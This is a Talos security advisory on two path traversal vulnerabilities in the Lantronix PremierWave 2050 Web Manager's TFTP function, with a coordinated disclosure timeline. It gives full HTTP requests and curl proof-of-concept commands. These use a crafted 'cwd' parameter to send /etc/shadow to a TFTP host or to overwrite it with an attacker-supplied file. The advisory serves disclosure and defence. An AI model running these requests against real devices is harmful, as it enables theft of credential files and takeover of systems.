Talos Vulnerability Report

TALOS-2021-1337

Lantronix PremierWave 2050 Web Manager FsTFtp directory traversal vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21894,CVE-2021-21895

Summary

A directory traversal vulnerability exists in the Web Manager FsTFtp functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to arbitrary file overwrite and arbitrary file disclosure. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager allows an authenticated and properly authorized user to direct a TFTP client on the device to GET or PUT files into and out of a subdirectory of the device's filesystem, rooted at `/ltrx_user/`. The system attempts limit the user from interacting with files located outside of the `/ltrx_user/` directory by sanitizing some, but not all, of the attacker-controlled HTTP Post parameters. This feature is only accessible to users with the `filesystem` privilege.

An attacker-controlled HTTP parameter - `cwd` - can be altered to include path traversal primitives which will not be sanitized before composition of the final file path and allows the attacker to GET or PUT arbitrary files to and from the device's filesystem.

CVE-2021-21894 - FsTFtp Arbitrary File Disclosure

The below request will PUT `/etc/shadow` onto a remote TFTP server hosted at `192.168.0.254`.

```
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 100
Authorization: Basic YWRtaW46UEFTUw==
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=FsTFtp&cmd=put&local=shadow&remote=shadow&host=192.168.0.254&port=69&submit=Transfer&cwd=../etc
```

Exploit Proof of Concept

```
curl --user admin:PASS -d "ajax=FsTFtp&cmd=put&local=shadow&remote=shadow&host=192.168.0.254&port=69&submit=Transfer&cwd=../etc"
http://192.168.0.1/
```

CVE-2021-21895 - FsTFtp Arbitrary File Overwrite

It is also possible to GET a file from a TFTP server into arbitrary locations on the system, even overwriting existing files while maintaining the original file permissions.

The below request will overwrite `/etc/shadow` with an arbitrary file supplied by an attacker-controlled TFTP server. Similar attacks can be conducted against the SSH `authorized_keys` file, overwriting an executable, etc.

```
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 100
Authorization: Basic YWRtaW46UEFFTUw==
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=FsTFtp&cmd=get&local=shadow&remote=shadow&host=192.168.0.254&port=69&submit=Transfer&cwd=../etc
```

Exploit Proof of Concept

```
curl --user admin:PASS -d "ajax=FsTFtp&cmd=get&local=shadow&remote=shadow&host=192.168.0.254&port=69&submit=Transfer&cwd=../etc"
http://192.168.0.1/
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-10 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
